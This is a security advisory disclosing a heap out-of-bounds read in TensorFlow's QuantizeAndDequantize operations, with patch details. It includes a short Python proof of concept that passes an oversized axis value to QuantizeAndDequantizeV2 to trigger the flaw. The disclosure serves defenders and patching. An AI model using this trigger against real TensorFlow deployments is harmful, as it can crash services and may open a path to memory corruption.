PYSEC-2026-549

TensorFlow has a heap out-of-buffer read vulnerability in the QuantizeAndDequantize operation

### Impact Attackers using Tensorflow can exploit the vulnerability. They can access heap memory which is not in the control of user, leading to a crash or RCE. When axis is larger than the dim of input, c->Dim(input,axis) goes out of bound. Same problem occurs in the QuantizeAndDequantizeV2/V3/V4/V4Grad operations too. ```python import tensorflow as tf @tf.function def test(): tf.raw_ops.QuantizeAndDequantizeV2(input=[2.5], input_min=[1.0], input_max=[10.0], signed_input=True, num_bits=1, range_given=True, round_mode='HALF_TO_EVEN', narrow_range=True, axis=0x7fffffff) test() ``` ### Patches We have patched the issue in GitHub commit [7b174a0f2e40ff3f3aa957aecddfd5aaae35eccb](https://github.com/tensorflow/tensorflow/commit/7b174a0f2e40ff3f3aa957aecddfd5aaae35eccb). The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1 ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.